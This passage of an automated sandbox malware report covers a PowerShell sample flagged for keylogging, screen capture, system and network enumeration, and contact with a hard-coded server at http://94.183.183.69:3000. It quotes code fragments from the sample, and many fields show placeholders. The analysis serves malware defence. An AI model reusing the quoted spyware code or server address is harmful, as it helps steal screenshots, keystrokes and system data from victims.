Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\c5fnshuj\\\\c5fnshuj.cmdline\"\" (UID: 00000000-00006460)\n Spawned process \"cvtres.exe\" with commandline \"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\\\RESE999.tmp\" \"%TEM ...\" (UID: 00000000-00000848)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\c5fnshuj\\\\c5fnshuj.cmdline\"\" (UID: 00000000-00006460)\n Spawned process \"cvtres.exe\" with commandline \"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\\\RESE999.tmp\" \"%TEM ...\" (UID: 00000000-00000848)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ibwr01l.pxa.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_t0yw4x5k.onq.psm1\"\n \"powershell.exe\" writes to a file \"C:\\temp\\kermit_cache.json\"\n \"powershell.exe\" writes to a file \"C:\\temp\\.kermit_id\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.0.cs\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.cmdline\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.out\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3e","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"$3f","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens a handle to the specified process","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00007108)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-237","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$40","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 7108)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to delay execution (Powershell command string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ATL.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\atl.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MSCOREE.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FLTLIB.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"C:\\%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\Windows\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%WINDIR%\\%APPDATA%\\MICROSOFT\\WINDOWS\\START MENU\\PROGRAMS\\WINDOWS POWERSHELL\\WINDOWS POWERSHELL.LNK\"\n \"powershell.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$44","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"\\device\\namedpipe\\srvsvc\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\5z5iwz5ipfw7556dhps4.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_0ibwr01l.pxa.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_t0yw4x5k.onq.psm1\"\n \"powershell.exe\" writes file \"c:\\temp\\kermit_cache.json\"\n \"powershell.exe\" writes file \"c:\\temp\\.kermit_id\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\c5fnshuj\\c5fnshuj.0.cs\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\c5fnshuj\\c5fnshuj.cmdline\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\c5fnshuj\\c5fnshuj.out\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Able to check internet connectivity using ping command","description":"file/memory contains long string with (Indicator: \"ping -\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$pingBody = @{ drives = $drivesPing -join \" | \"; kl_enabled = $KeyloggerEnabled; update_audit = $false } | ConvertTo-Json\" (Indicator: \"ping -\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007108-00000C2C-498598929\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007108-00000C2C-498586153\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Invoke-WebRequest\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"try { $externalIP = (Invoke-WebRequest -Uri \"http://ifconfig.me/ip\" -TimeoutSec 5 -UseBasicParsing).Content.Trim() } catch { $externalIP = \"N/A\" }\" (Indicator: \"Invoke-WebRequest\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"$46","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found reference to API \"$WC = New-Object System.Net.WebClient\" (Indicator: \"System.Net.WebClient\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00007108-00000C2C-498586153\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"94.183.183.69\" found in string \"http://94.183.183.69:3000\"\n \"64.124.12.162\"\n Potential IP \"94.183.183.69\" found in string \"$ServerUrl = \"http://94.183.183.69:3000\"\"\n \"2.5.29.37\"\n \"2.5.29.35\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://94.183.183.69:3000\"\n Pattern match: \"http://ifconfig.me/ip\"\n Pattern match: \"http://94.183.183.69:3000$idfile\"\n Pattern match: \"disk.size/1gb\"\n Pattern match: \"http://go.microsoft.com/fwlink/?linkid=533240\"\n Heuristic match: \"$currentuser = [security.principal.windowsidentity]::getcurrent().name\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://94.183.183.69:3000\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"file/memory contains long string with (Indicator: \"CopyFromScreen\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found reference to API \"$g = [Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0,0,0,0,$bmp.Size); $bmp.Save($p, [Drawing.Imaging.ImageFormat]::Png)\" (Indicator: \"CopyFromScreen\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve event logs (PowerShell command string)","description":"file/memory contains long string with (Indicator: \"Get-EventLog\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message\" (Indicator: \"Get-EventLog\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-300","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find a SID for the specified name","description":"\"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"nt service\\\\remoteregistry\"\n \"Sid\": \"0\"\n \"cbSid\": \"20000000\"\n \"cchReferencedDomainName\": \"0b000000\"\n \"peUse\": \"00000000\"}\n \"powershell.exe\" called \"LookupAccountNameW\" with parameters {\"AccountName\": \"nt service\\\\remoteregistry\"\n \"Sid\": \"2381228449488\"\n \"cbSid\": \"20000000\"\n \"ReferencedDomainName\": \"NT SERVICE\"\n \"cchReferencedDomainName\": \"0a000000\"\n \"peUse\": \"05000000\"}","origin":"API Call","mitre_attack_id":"T1087","relevance":2,"id":"api-189","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007108)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007108)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user names for specified SIDs","description":"\"powershell.exe\" called \"LsaLookupSids\" with parameters {\"PolicyHandle\": \"22a6c4ca200\"\n \"Count\": \"1\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":1,"id":"api-255","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve IP Address configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-NetIPAddress\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$internalIP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress -join \"\n \"\" (Indicator: \"Get-NetIPAddress\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-301","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve instances of WMI objects (Powershell command string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":1,"id":"string-277","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Process\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$ActiveConnections = Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name=\"Process\";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Select-Object -First 20\" (Indicator: \"Get-Process\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found string \"$TopProcesses = Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 | Select-Object Name, Id, CPU, WorkingSet\" (Indicator: \"Get-Process\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"file/memory contains long string with (Indicator: \"IsInRole\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")\n Found reference to API \"$isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)\" (Indicator: \"IsInRole\"; File: \"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF16ce41.TMP\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ibwr01l.pxa.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_t0yw4x5k.onq.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.0.cs\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.tmp\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.err\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.out\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.cmdline\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.dll\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.0.cs\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.tmp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.err\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.out\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.cmdline\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\c5fnshuj.dll\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\c5fnshuj\\C5FNSHUJ.PDB\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007108)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69e1e804d247beff910aad42"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ASP.NET_4.0.30319\\NAMES\"; Key: \"D04AG2LGQCDBGSRJAVZIREH3MGHKUAUDEROKRN3LU9DSIZTQT4POQULRANT9KHOB1YYQWACMDKVVGETP2IEIHNAWRKWO1ETXGIA8PFB3QTYWM4WM1HES88\"; Value: \"C41B000000\")\n \"powershell.exe\" (Access type: \"CREATE\"; 